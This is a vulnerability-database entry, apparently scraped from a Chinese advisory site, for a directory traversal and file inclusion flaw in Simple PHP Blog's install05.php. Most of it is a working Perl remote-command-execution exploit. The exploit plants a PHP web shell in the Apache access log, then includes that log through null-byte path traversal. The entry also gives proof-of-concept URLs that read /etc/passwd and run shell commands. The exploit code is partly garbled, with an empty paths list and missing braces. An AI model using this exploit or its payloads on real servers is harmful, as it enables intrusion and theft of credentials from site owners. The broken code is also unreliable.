发布时间 :2006-03-15 12:06:00
修订时间 :2011-03-07 21:32:30

[原文]Directory traversal vulnerability in install05.php in Simple PHP Blog (SPB) and earlier allows remote attackers to include and execute arbitrary local files via directory traversal sequences and a NUL (%00) character in the blog_language parameter, as demonstrated by injecting PHP sequences into an Apache access_log file, which is then included using install05.php.

[CNNVD]简单PHP博客'Install05.PHP' 目录遍历漏洞(CNNVD-200603-273)

        在简单PHP博客(SPB)及其早期版本的install05.php中存在目录遍历漏洞,远程攻击者可通过目录遍历序列和在blog_language参数中的一个"空"(%00) 字符,包含和执行任意本地文件,如将PHP序列注入到Apache access_log文件中所显示的那样, 然后利用install05.php被包含。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  XF  simplephpblog-install05-file-include(25322)
(UNKNOWN)  VUPEN  ADV-2006-1007
(UNKNOWN)  BID  17102
(UNKNOWN)  VIM  Vendor ACK for CVE-2006-1243 (older Simple PHP Blog)

- 漏洞信息

简单PHP博客'Install05.PHP' 目录遍历漏洞
高危 路径遍历
2006-03-15 00:00:00 2006-08-24 00:00:00
        在简单PHP博客(SPB)及其早期版本的install05.php中存在目录遍历漏洞,远程攻击者可通过目录遍历序列和在blog_language参数中的一个"空"(%00) 字符,包含和执行任意本地文件,如将PHP序列注入到Apache access_log文件中所显示的那样, 然后利用install05.php被包含。

- 公告与补丁


- 漏洞信息 (1581)

Simple PHP Blog <= Remote Command Execution Exploit (EDBID:1581)
php webapps
2006-03-13 Verified
0 rgod
N/A [点击下载]
use IO::Socket;

print "Simple PHP Blog <= cmmnds xctn exploit\r\n";
print "through arbitrary local inclusion\r\n";
print "rgod rgod\\r\n";
print "-> this works with magic_quotes_gpc = Off\r\n\r\n";

# short explaination:
# we have this code in install05.php:
# <?php
#	require_once('scripts/sb_functions.php');
#	global $logged_in;
#	$logged_in = logged_in( false, false );
#	read_config();
#	global $blog_config;
#	if ( isset( $_GET[ 'blog_language' ] ) ) {
#		$blog_config[ 'blog_language' ] = $_GET[ 'blog_language' ];
#	}
#	require_once('languages/' . $blog_config[ 'blog_language' ] . '/strings.php');
#	sb_language( 'install05' );
# ?>
# ...
# script is not deleted after installation, so, if magic_quotes_gpc = Off,
# you can include an arbitrary file from local resources, poc:
# http://[target]/[path_to_blog]/install05.php?blog_language=../../../../../../etc/passwd%00
# (breaking path through a null char)
# it seems you cannot inject php code (php tags are converted to html entities)
# in SPB resources, but you can inject a shell in Apache logs, so... :
# http://[target]/[path]/install05.php?blog_language=../../../../../../var/log/httpd/access_log%00&cmd=ls%20-la

sub main::urlEncode {
    my ($string) = @_;
    $string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
    #$string# =~ tr/.//;
    return $string;

if (@ARGV < 3)
print "Usage:\r\n";
print "perl SERVER PATH COMMAND\r\n\r\n";
print "SERVER         - Server where Simple PHP Blog is installed.\r\n";
print "PATH           - Path to Simple PHP Blog (ex: /spb/ or just /)\r\n";
print "COMMAND        - A shell command (\"cat ./config/password.php\"\r\n";
print "                 to see encrypted username & password)\r\n\r\n";
print "Example:\r\n";
print "perl /gbs/ ls -la\r\n";

$cmd=""; for ($i=2; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};

print "[1] Injecting some code in log files ...\r\n";
$CODE="<?php ob_clean();echo 666;passthru(\$_GET[cmd]);echo 666;die;?>";
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80")
or die "[+] Connecting ... Could not connect to host.\n\n";
print $sock "GET ".$path.$CODE." HTTP/1.1\r\n";
print $sock "User-Agent: ".$CODE."\r\n";
print $sock "Host: ".$serv."\r\n";
print $sock "Connection: close\r\n\r\n";

# fill with possible locations
my @paths= (

  for ($i=0; $i<=$#paths; $i++)
    $a = $i + 2;
    print "[".$a."] trying with ".$paths[$i]."%00 for blog_language argument...\r\n";
    $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80")
    or die "[+] Connecting ... Could not connect to host.\n\n";
    print $sock "GET ".$path."install05.php?cmd=".$cmd."&blog_language=".urlEncode($paths[$i])."%00 HTTP/1.1\r\n";
    print $sock "Host: ".$serv."\r\n";
    print $sock "Connection: close\r\n\r\n";
    while ($answer = <$sock>) {
    @temp= split /666/,$out,3;
    if ($#temp>1) {print "\r\nExploit succeeded...\r\n".$temp[1];exit();}

  #if you are here...
  print "\r\nExploit failed...\r\n";

# [2006-03-13]

- 漏洞信息

Simple PHP Blog (SPHPBlog) install05.php blog_language Parameter Traversal Local File Inclusion
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified

- 漏洞描述

- 时间线

2006-03-14 Unknow
2006-03-13 Unknow

- 解决方案

Upgrade to version or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete